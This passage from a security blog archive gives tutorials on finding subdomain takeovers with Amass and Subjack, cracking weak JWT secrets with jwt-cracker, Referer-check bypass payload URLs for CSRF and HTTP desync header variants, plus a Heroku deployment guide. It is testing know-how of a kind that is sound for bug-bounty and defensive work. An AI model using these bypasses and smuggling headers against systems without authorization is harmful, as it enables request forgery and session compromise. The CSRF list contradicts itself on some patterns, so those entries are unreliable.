VarnishHHO, HMC
Amazon S3HHO
Google Cloud Storage
Github PagesHHO, HMC
Gitlab PagesHMC
HerokuHHO
ASP.NET(HHO)(HHO)(HHO)(HHO)(HHO), (HMC)(HHO)
BeeGoHMC
Django(HHO), (HMC)
Express.jsHMC
Flask(HMO)HMO, (HHO), (HMC)
GinHMC
Laravel(HHO), (HMC)
Meteor.jsHMC
Play 1HMOHMOHMOHMOHHO, HMOHMO
Play 2HHO, HMC
Rails(HHO), (HMC)
Spring BootHHO
Symfony(HHO), (HMC)

How to Protect

좋은 방법은 위에서 이야기한 헤더(X-HTTP-Method-Override)를 처리하지 않고 400 에러 등 에러 정보를 캐시하지 않는 것입니다. 사용자에게 정상적인 파일만 줄 수 있도록 캐시서버에서 대응이 필요합니다.

  • Not Processed X-HTTP-Method-Override
  • Not Cache Error page

Reference

https://cpdos.org/
https://www.infoworld.com/article/3249687/how-to-implement-a-delegatinghandler-for-x-http-method-override-in-web-api.html
Share: | Coffee Me:

10/20/2019

Find Subdomain Takeover with Amass + SubJack

Subdomain takeover was once a very popular vulnerability. It’s still constantly being discovered.
Of course, there are so many hackers running automated code that it’s hard to actually find it. but you’ll find it with lucky. and from the corporate security point of view, you have to check it out. so i share it.

So I just use it for reference in the subdomain. It’s… it’s almost never there on popular target, and it’s often duplicated if it’s vulnerable.

TLDR

$ amass enum -norecursive -noalts -d {target_domain} > {target_domain}.txt ; subjack -w {target_domain}.txt -t 100 -timeout 30 -ssl -c ~/subjack/fingerprints.json -v 3

Replace {target_domain} to your target! (It's convenient to be an editor like IDE or geany)


Pre-install

Amass

Install Amass
on Mac
$ brew tap caffix/amass; brew isntall amass

or(on ubuntu with apt)

$ apt-get install amass

or(on docker)

$ docker build -t amass https://github.com/OWASP/Amass.git
$ docker run -v ~/amass:/amass/ amass enum --list

or(with snapcraft)
$ snap install amass


https://github.com/OWASP/Amass/blob/master/doc/install.md
https://www.hahwul.com/2019/09/owasp-amass-dns-enumnetwork-mapping.html

running command: $ amass enum -d [target domain]

Subjack

Install subjack on goget!
go get github.com/haccer/subjack

set alias
alias subjack='~/go/bin/subjack'

running command: subjack -w target.txt -c config_file

I've added some more content after watching this(https://twitter.com/C5pider/status/1185672360717893633). thank you, guys!

Write oneline command.

write result file on amass
$ amass enum -norecursive -noalts -d {target_domain} > {target_domain}.txt

read subdomain list(-w options) on subjack
$ subjack -w {target_domain}.txt -t 100 -timeout 30 -ssl -c ~/subjack/fingerprints.json -v 3

PPAP

$ amass enum -norecursive -noalts -d {target_domain} > {target_domain}.txt ; subjack -w {target_domain}.txt -t 100 -timeout 30 -ssl -c ~/subjack/fingerprints.json -v 3

Conclusion

The majority of bounty hunters are turning all the domains in the Bergbounty scope. It’s a perfect time fight.

https://github.com/arkadiyt/bounty-targets-data

and ... If you use FDSN(https://opendata.rapid7.com/sonar.fdns_v2/), you can get a lot of domains.
Share: | Coffee Me:

10/15/2019

Deploy Golang webapp on Heroku(Golang 으로 만든 웹 어플리케이션 Heroku에 배포하기)

요즘 공부도할겸 golang 으로 끄적끄적 만들어보고 있는게 있습니다.
그 중 일부는 웹 환경으로 구성하고 heroku에 띄울 생각인데, 루비처럼 사전에 세팅이 필요한 부분들이 있어서 내용 정리해둡니다.

(루비보단 훨씬 간단해요)


1. pre-setting

우선, GoLand 같은 IDE를 쓰더라도 빌드 로그 떄문에 커밋까지만 IDE에서 하는게 개인적으론 편합니다. 어차피 각종 명령 때문에 heroku client 설치가 필요하니 이참에 한번 깔아줍시다.

Install heroku cli

On Mac
$ brew install heroku

On Ubuntu 16+
$ sudo snap install heroku --classic

On Windows
64bit: https://cli-assets.heroku.com/heroku-x64.exe
32bit: https://cli-assets.heroku.com/heroku-x86.exe

설치가 되면 $ heroku 형태로 heroku 앱들을 제어할 수 있습니다.

Install godep & Dependency setting

다음으론.. 디펜던시 잡아주기 위해 godep을 깔아서 디펜던시를 잡아줍니다.

Install godep
$ go get -u github.com/tools/godep

set dependency
$ godep save ./...

2. Write Procfile

자 거의다 왔습니다. Rails는 gem file 설정부터 원래 레일즈 배포에서 하는짓들(db:migrate 등..)을 heroku 명령을 넣어주어 처리해야하는데, go의 경우는 Procfile이란 어떤 파일을 실행할지 결정해주는 파일을 통해 지정한 바이너리를 실행시킬 수 있습니다.
(heroku에서 rails 배포하기)

Procfile에서 사용하는 타입이 몇가지가 있는데, 이 중 web은 LB와의 매핑을 해줄 수 있는 지시어로 보통의 경우 web을 많이 사용하게 되실 것 같습니다.

Procfile
web: yourbinaryname

command..
echo "web: testapp" > Procfile

3. Make Heroku App & Push heroku git

자 그럼 이제 heroku에도 앱을 만들어줘야합니다. (그냥 git repo 만든다고 생각하시면 편합니다.)

heroku create mytestapp

만들어주시고, git remote를 앱의 이름으로 지정한 후 heroku로 푸시를 해주시면 자동으로 배포됩니다.

Setting Git
$ git init .
$ git add *
$ git commit -m 'first init'
$ heroku git:remote -a mytestapp

Push!
$ git push heroku master

배포가 완료되면 Procfile에 따라서 지정된 바이너리가 실행됩니다. (보통 main.go?)

Conclusion

루비만 거의 5년가까이 쓰다가 다른 언어를 해보려고 하니 아직 손에 좀 익지는 않습니다. 다만 golang 은근히 재미있습니다. 혹시나 관심 있다면 한번 해보시는 것도…
아무튼 heroku 배포는 이정도면 쉽게 하실 수 있을것 같네요.

happy hacking / coding!
Share: | Coffee Me:

10/12/2019

jwt-cracker를 이용한 secret key crack

JWT는 내용에 대한 서명을 내용 뒤에 붙여주어 위변조를 감지할 수 있습니다.
간혹 secret이 간단하게 설정된 경우에는 secret을 찾고 변조된 JWT를 만들 수 있는데, 이를 인증에 사용하거나 중요 로직에서 데이터를 읽어 사용하는 경우 큰 보안적인 리스크를 가지게됩니다.

보통은 Key Confusion이나 Signature Exclusion, 중요정보 포함, 시그니쳐 검증 체크를 중점적으로 보는데요, 뒤적뒤적하다가 cracking 툴 괜찮은걸 찾아서 포스팅합니다.

그냥 돌려놓으면 되서 점검 포인트 하나 늘리는거 치곤 리소스 안들어서 좋습니다.


How to Install ?

node 패키지로 npm으로 설치 가능합니다.
$ npm install --global jwt-cracker

How to use?

jwt-cracker version 1.0.5

  Usage:
    jwt-cracker <token> [<alphabet>] [<maxLength>]

    token       the full HS256 jwt token to crack
    alphabet    the alphabet to use for the brute force (default: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)
    maxLength   the max length of the string generated during the brute force (default: 12)

옵션이랄껀 없고, token만 넣어줘도 됩니다. 기본값은 알파벳 대소문자+숫자 조합으로 12글자까지 테스트를 진행하게 되고, 임의로 설정해서 조정해줄 수 있습니다.

e.g
$ jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiIxMjM0IiwibmFtZSI6IkhBSFdVTCIsImlhdCI6MX0.1S20CQMgCwEaRjycItJgkDIvGtHjQQR_baynfi8cHQI

Test Case

test data , secret is "hwul"


$ jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiIxMjM0IiwibmFtZSI6IkhBSFdVTCIsImlhdCI6MX0.1S20CQMgCwEaRjycItJgkDIvGtHjQQR_baynfi8cHQI abcdefghijklmnopqrstuvwxyz 4
Attempts: 100000
Attempts: 200000
SECRET FOUND: hwul
Time taken (sec): 2.111
Attempts: 225714

https://i.giphy.com/m6aZERsqxPiBa.gif

Share: | Coffee Me:

Bypass referer check logic for CSRF

Referer header check is probably the most frequently used CSRF countermeasure. It’s easier to implement and less performance issues than the token approach, so it’s the preferred approach, and that’s the some risk for bypass.

CSRF 대응방안 중 아마 가장 많은 형태로 사용되고 있는게 Referer 헤더 체크 일 것 같습니다. 토큰 운영 방식에 비해 구현도 쉽고 성능적인 이슈도 덜하다 보니 선호되는 방식인데요, 그만큼 우회에 대한 리스크도 동일하게 가져갑니다.

Today I’m going to sort out some ways to bypass the referrer check in case of CSRF.

오늘은 CSRF 시 Referer 체크를 우회하는 방법들을 좀 정리해둘까 합니다.
(매번 익숙함과 감으로 하니, 가끔씩 놓치는게 생기더군요..)


TL;DR

Pattern

- https://hahwul.com
- https://hahwul.com?white_domain_com
- https://hahwul.com;white_domain_com
- https://white_domain_com.hahwul.com
- https://hahwulwhite_domain_com

Payloads

https://hahwul.com/csrf.html
https://hahwul.com/csrf.html?white_domain_com
https://hahwul.com/csrf.html;white_domain_com
https://white_domain_com.hahwul.com/csrf.html
https://hahwulwhite_domain_com/csrf.html

If there’s anything missing, please leave a comment or tweet.
혹시나 제가 빼먹은 방식이 있다면 댓글주세요.

Detilas..

This is similar to Bypass Host (URL) Valid Check except for non-protection. However, there are cases that can not be actual attacks, so please refer to the following.

우선 검증 안하는 케이스와 검증하는데 우회되는 케이스로 나눌 수 있고, 우회 패턴은 보통 도메인, 페이지 기반 검증을 우회하게 되는데, 이는 SSRF, CustomS Scheme, Open Redirect 등에서 쓰이는 Host(URL) 검증 우회 방식과 유사합니다. 그렇지만, Referer 헤더가 무조건적으로 전 도메인 주소를 따라가는건 아니라서, 가능한 케이스도 있고 안되는 케이스도 있으니 아래 내용 참고하셔서 보시면 좋을 것 같습니다.

Changed Referer Header in Bypass HOST(URL) Valid Check Case

- https://hahwul.com (O)
- https://hahwul.com?white_domain_com (O)
- https://hahwul.com;white_domain_com (O)
- https://hahwul.com/white_domain_com/../target.file (O)
- https://white_domain_com.hahwul.com (O)
- https://hahwulwhite_domain_com (O)
- file://123.white_domain_com (X) 
- https://white_domain_com@hahwul.com (X)
- https://hahwul.com#white_domain_com (X)
- https://hahwul.com\.white_domain_com (X)
- https://hahwul.com/.white_domain_com (X)

redirect

- 301 (X) 
- 302 (X)
- 307 (X)
- 308 (X)

In common, Redirect types cannot use these pages to trick the referrer because the page that became the source is the reference.

공통적으로 Redirect 종류들은 가장 source가 된 페이지가 referer가 되기 때문에 이런 페이지들을 이용해서 referer를 속일 수 없습니다 ㅜㅜ

Why?

https://hahwul.com (O)

Not protection logic, it’s run any
검증 안하면 당연히 됩니다.

https://hahwul.com?white_domain_com (O)

The referrer header contains parameters.
인자값의 경우 referer 헤더에 남아있습니다.

https://hahwul.com;white_domain_com (O)

The referrer header contains semi colon and behind string.
;(semi colon) 또한 referer 헤더에 남아있습니다.

https://hahwul.com/white_domain_com/../target.file (X)

In the Browsing step, processed ../ do not contain the referrer.
안되는게 맞지만, 아주 예외적으로 브라우저에서 ../ 를 처리해주지 않는 경우엔 가능합니다.

https://white_domain_com.hahwul.com (O)

Use subdomain
서브 도메인을 이용한 방법

https://hahwulwhite_domain_com (O)

Check only string pattern(Only hosts must be filtered correctly)
도메인 끝쪽만 구별한 경우(.까지 구별하지 않은 경우)

file://123.white_domain_com (X)

file:// scheme etc. does not generate referer headers.
file:// 에서 발생한 요청은 Referer 헤더가 생기지 않습니다.

https://white_domain_com@hahwul.com (X)

In the Browsing step, processed ../ do not contain the referrer.
@로 호스트를 분리하는 경우 실제 호스트 이름이 referer에 남게됩니다.
=> hahwul.com

https://hahwul.com#white_domain_com (X)

The referrer header not contains hash parameter.
hash 문자는 referer에 남지 않습니다.

https://hahwul.com\.white_domain_com (X)

(%5c)가 path 처리(%2f)되서 당연히 안남습니다.

https://hahwul.com/.white_domain_com (O)

단순 문자열 검증의 경우 우회가 가능합니다.

Share: | Coffee Me:

10/10/2019

New Technic of HTTP Desync Attack

After the HTTP Desync Attack announcement, the bugbounty hunters and corporate security personnel seem to be very busy. Albino recently announced that he would be writing additional articles, and new post were posted on the portswigger blog.

HTTP Desync Attack 발표 이후 버그바운티 헌터들이나 각 기업보안 담당자는 굉장히 바빠진 것 같습니다. 겸사겸사 최근에 알비노가 추가 글을 쓰겠다고 공표했었고, portswigger 블로그에 글이 더 올라왔습니다.

F5 등을 비롯해서 벤더에도 영향을 많이 끼쳤었는데, golang도 있었군요..
https://groups.google.com/forum/#!topic/golang-announce/cszieYyuL9Q

Anyway, i going to summarize some of the new additional vectors!
아무튼 추가로 더 발견된 신규 벡터들 정리해봅니다.

wow! / https://i.giphy.com/l0MYEqEzwMWFCg8rm.gif

1. Desync Attack with Normalization Attack

Use IDN Char(%f9)..
안그래도 IDN 문자 때문에 다른 공격도 벡터가 엄청 생기는 상태인데, 디싱크도 예외는 아니였나 봅니다..
Transfer-Encoding: chùnked


2. \x00

Transfer-Encoding: \x00chunked
없는 문자 처리된 것 같은데, 비슷한 형태의 패턴들은 유사하게 가능할수도 있겠네요.. 예를들면, \x09 같은..

3. Bypass WAF

Foo: bar\r\n\rTransfer-Encoding: chunked


Tips

최신 HTTP Request Smuggler(>=v1.02) 에선 위 패턴들이 추가됬고, lazygrep 을 설정하면 테스팅이 가능합니다. 참고하시면 좋아요 :)


Reference

https://portswigger.net/research/http-desync-attacks-what-happened-next
Share: | Coffee Me: